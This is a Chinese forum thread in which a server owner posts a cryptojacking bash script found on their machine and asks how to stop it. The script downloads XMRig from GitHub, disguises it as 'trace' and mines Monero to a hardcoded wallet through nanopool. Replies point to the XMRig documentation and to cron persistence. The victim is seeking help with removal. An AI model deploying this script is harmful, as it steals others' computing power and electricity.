吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1728|回复: 3
收起左侧

服务器中挖矿病毒,求大佬给我解释一下下面代码什么作用

[复制链接]
duofeng 发表于 2019-12-24 14:50
25吾爱币
本帖最后由 duofeng 于 2019-12-24 14:58 编辑



#!/bin/bash
if pgrep trace; then pkill trace; fi

threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";

rm -rf config.json;

d () {
    curl -L --insecure --connect-timeout 30 --max-time 800 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 800 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
}

test ! -s trace && \
    d https://github.com/xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
    tar -zxvf trace.tgz && \
    mv xmrig-5.0.0/xmrig trace && \
    rm -rf xmrig-5.0.0 && \
    rm -rf trace.tgz;
test ! -x trace && chmod +x trace;

k() {
    ./trace \
        -r 2 \
        -R 2 \
        --keepalive \
        --no-color \
        --donate-level 1 \
        --max-cpu-usage 85 \
        --cpu-priority 3 \
        --print-time 25 \
        --threads "${threadCount:-4}" \
        --url "$1" \
        --user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
        --pass x \
        --coin xmr \
        --keepalive
}

k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444
怎么才能解决?另有酬谢。谢谢各位大佬

最佳答案

查看完整内容

https://github.com/xmrig/xmrig/ 读取下面的文档,和你上面脚本的指令,你可以把这东西关闭掉。

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

RemMai 发表于 2019-12-24 14:50
https://github.com/xmrig/xmrig/
读取下面的文档,和你上面脚本的指令,你可以把这东西关闭掉。
 楼主| duofeng 发表于 2019-12-24 17:54
RemMai 发表于 2019-12-24 16:10
https://github.com/xmrig/xmrig/
读取下面的文档,和你上面脚本的指令,你可以把这东西关闭掉。

关是可以关掉,但是他还是重新出来
whh19921024 发表于 2019-12-25 09:41
之前有遇到过类似的情况。意思大致试下载个trace软件,然后运行这个软件。这个东西会出来是因为应该已经加到你的定时任务里面了。你找下定时任务及一些常用的命令有没有被修改。如果还有问题可以联系我,帮你解决下。
快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-29 17:22

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表